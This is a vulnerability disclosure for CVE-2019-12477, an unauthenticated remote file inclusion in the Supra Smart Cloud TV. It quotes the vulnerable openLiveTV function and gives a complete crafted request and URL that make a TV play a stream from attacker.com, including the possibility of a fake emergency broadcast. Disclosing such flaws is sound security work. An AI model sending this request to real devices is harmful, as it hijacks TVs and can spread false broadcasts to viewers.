Exploit Title: Remote file inclusion
# Date: 03-06-2019
# Exploit Author: Dhiraj Mishra
# Vendor Homepage: https://supra.ru
# Software Link: https://supra.ru/catalog/televizory/televizor_supra_stv_lc40lt0020f/
# CVE: CVE-2019-12477
# References:
# https://nvd.nist.gov/vuln/detail/CVE-2019-12477
# https://www.inputzero.io/2019/06/hacking-smart-tv.html

Summary:
Supra Smart Cloud TV allows remote file inclusion in the openLiveURL
function, which allows a local attacker to broadcast fake video without any
authentication via a /remote/media_control?action=setUri&uri=URI

Technical Observation:
We are abusing `openLiveURL()` which allows a local attacker to broadcast
video on supra smart cloud TV. I found this vulnerability initially by
source code review and then by crawling the application and reading every
request helped me to trigger this vulnerability.

Vulnerable code:

     function openLiveTV(url)
      {
      $.get("/remote/media_control",
{m_action:'setUri',m_uri:url,m_type:'video/*'},
       function (data, textStatus){
       if("success"==textStatus){
        alert(textStatus);
       }else
       {
        alert(textStatus);
       }
      });
      }

Vulnerable request:

    GET /remote/media_control?action=setUri&uri=
http://attacker.com/fake_broadcast_message.m3u8 HTTP/1.1
    Host: 192.168.1.155
    User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:66.0)
Gecko/20100101 Firefox/66.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
    Accept-Language: en-US,en;q=0.5
    Accept-Encoding: gzip, deflate
    Connection: close
    Upgrade-Insecure-Requests: 1

To trigger the vulnerability you can send a crafted request to the URL,

http://192.168.1.155/remote/media_control?action=setUri&uri=http://attacker.com/fake_broadcast_message.m3u8

Although the above mention URL takes (.m3u8) format based video. We can use
`curl -v -X GET` to send such request, typically this is an unauth remote
file inclusion. An attacker could broadcast any video without any
authentication, the worst case attacker could leverage this vulnerability
to broadcast a fake emergency message.